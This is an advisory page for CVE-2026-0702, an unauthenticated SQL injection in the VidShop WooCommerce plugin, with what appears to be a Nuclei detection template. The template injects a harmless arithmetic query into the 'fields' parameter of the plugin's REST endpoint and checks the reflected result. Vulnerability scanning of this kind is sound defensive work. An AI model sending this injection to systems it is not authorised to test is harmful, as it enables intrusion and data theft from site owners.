CVE-2026-0702: VidShop for WooCommerce <= 1.1.4 - SQL Injection

2026-09-16 Unknown PoC Public

Description

VidShop – Shoppable Videos for WooCommerce plugin for WordPress <= 1.1.4 contains a time-based SQL injection caused by insufficient escaping of the 'fields' parameter, letting unauthenticated attackers extract sensitive database information.

PoC

id: CVE-2026-0702

info:
  name: VidShop for WooCommerce <= 1.1.4 - SQL Injection
  author: str4k3r
  severity: high
  description: |
    VidShop – Shoppable Videos for WooCommerce plugin for WordPress <= 1.1.4 contains a time-based SQL injection caused by insufficient escaping of the 'fields' parameter, letting unauthenticated attackers extract sensitive database information.
  impact: |
    Unauthenticated attackers can extract sensitive information from the database, potentially compromising data confidentiality.
  remediation: |
    Update to the latest version of VidShop – Shoppable Videos for WooCommerce plugin for WordPress.
  reference:
    - https://plugins.trac.wordpress.org/browser/vidshop-for-woocommerce/trunk/includes/rest-api/v1/class-videos-controller.php#L297
    - https://plugins.trac.wordpress.org/browser/vidshop-for-woocommerce/trunk/includes/utils/class-query-builder.php#L778
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/a61d8d2a-742f-45f1-9146-f733b80ef195?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-0702
    epss-score: 0.01348
    epss-percentile: 0.70207
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,wordpress,woocommerce,vidshop,sqli,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/vsfw/v1/videos?fields=%28SELECT%20424242*2%29%20as%20id"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"id":848484'
# digest: 4a0a004730450220179b866eef82053ad7112e0f0e388eb96ba996c59468b3e97e97924ddf7be92e0221008261cdccb90be436df8ded135f33da4ecba274db927f2adb9fa9fedeaadb48b7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.